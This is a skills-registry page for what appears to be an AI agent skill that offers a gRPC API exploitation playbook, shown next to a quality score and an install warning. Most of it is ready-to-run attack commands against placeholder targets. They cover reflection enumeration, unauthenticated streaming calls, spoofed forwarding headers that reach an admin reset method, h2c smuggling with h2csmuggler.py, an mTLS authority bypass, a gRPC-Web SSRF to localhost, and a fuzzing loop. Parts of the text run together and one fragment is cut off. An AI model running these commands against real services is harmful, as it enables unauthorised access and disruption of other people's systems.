gRPC API exploitation — reflection-based discovery via grpcurl, protobuf fuzzing, missing authz on streaming RPCs, gRPC-Web → backend SSRF, mTLS bypass, metadata header injection, h2c smuggling against gRPC fronts.
69
85%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
# 1. Detect: HTTP/2 + content-type application/grpc[+proto|+json]
curl -s -I --http2 https://api.target/svc/method | grep -iE 'content-type|alt-svc'
# 2. List services via server reflection (often left on in prod)
grpcurl -plaintext target:50051 list
grpcurl -plaintext target:50051 list mypackage.MyService
grpcurl -plaintext target:50051 describe mypackage.MyService.Method
# 3. If reflection disabled, grab .proto from:
# - Sourcemap of a gRPC-Web client app
# - JS bundle: `grep -ro "name: \"\\([A-Z][A-Za-z]*Service\\)" *.js`
# - Mobile app (apktool + jadx → search for FileDescriptorProto)Many implementations enforce auth on unary RPCs but skip server-streaming or bidi-streaming:
grpcurl -plaintext -H "authorization: bearer" target:50051 \
mypackage.MyService/StreamEvents
# Sometimes returns events without proper auth checkSend a request with extra protobuf fields (numbers not in the .proto) — older servers echo them back or expose internal state via UnknownField handling.
echo '{"id": 1, "1000000": "hidden field"}' | \
grpcurl -plaintext -d @ target:50051 mypackage.MyService/GetgRPC headers (metadata) often map directly to HTTP/2 headers in the proxy layer:
grpcurl -plaintext -H "x-real-ip: 127.0.0.1" -H "x-forwarded-for: 127.0.0.1" \
-H "authorization: bearer $TOKEN" target:50051 mypackage.AdminService/ResetHTTP/2 cleartext upgrade can be smuggled past h1/h2 boundary:
# Use h2csmuggler.py against an Envoy fronting a gRPC backend
python3 h2csmuggler.py -x https://front.target/ -t /AdminService.Reset http://internal-grpc:50051If the backend validates mTLS but the front terminates TLS, sometimes SNI-different connections bypass:
# Connect with cert for `legit.com` but Host header `admin-internal`
grpcurl -cacert ca.crt -cert legit.crt -key legit.key \
-authority admin-internal target:443 mypackage.AdminService/ResetgRPC-Web translates browser HTTP → backend gRPC. Sometimes the translator allows arbitrary upstream:
# If the Envoy filter is misconfigured:
curl https://target/grpc-web/upstream/127.0.0.1:50051/AdminService/Reset# 1. Pull all the proto definitions
grpcurl -plaintext target:50051 describe -msg-template > schema.txt
# 2. Generate fuzz inputs with grpc-fuzzer or Mayhem
mayhem run grpcfuzzer -t target:50051 -s schema.txt
# 3. Or manual: enumerate Method/{empty,minimal,max,min,negative,oversized}
for m in $(grpcurl -plaintext target:50051 list | xargs -I{} grpcurl -plaintext target:50051 list {}); do
echo "=== $m ==="
grpcurl -plaintext -d '{}' target:50051 $m 2>&1 | head -5
donegoogle.rpc.Status.details). Even hardened servers leak via timing on encrypted channels.e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.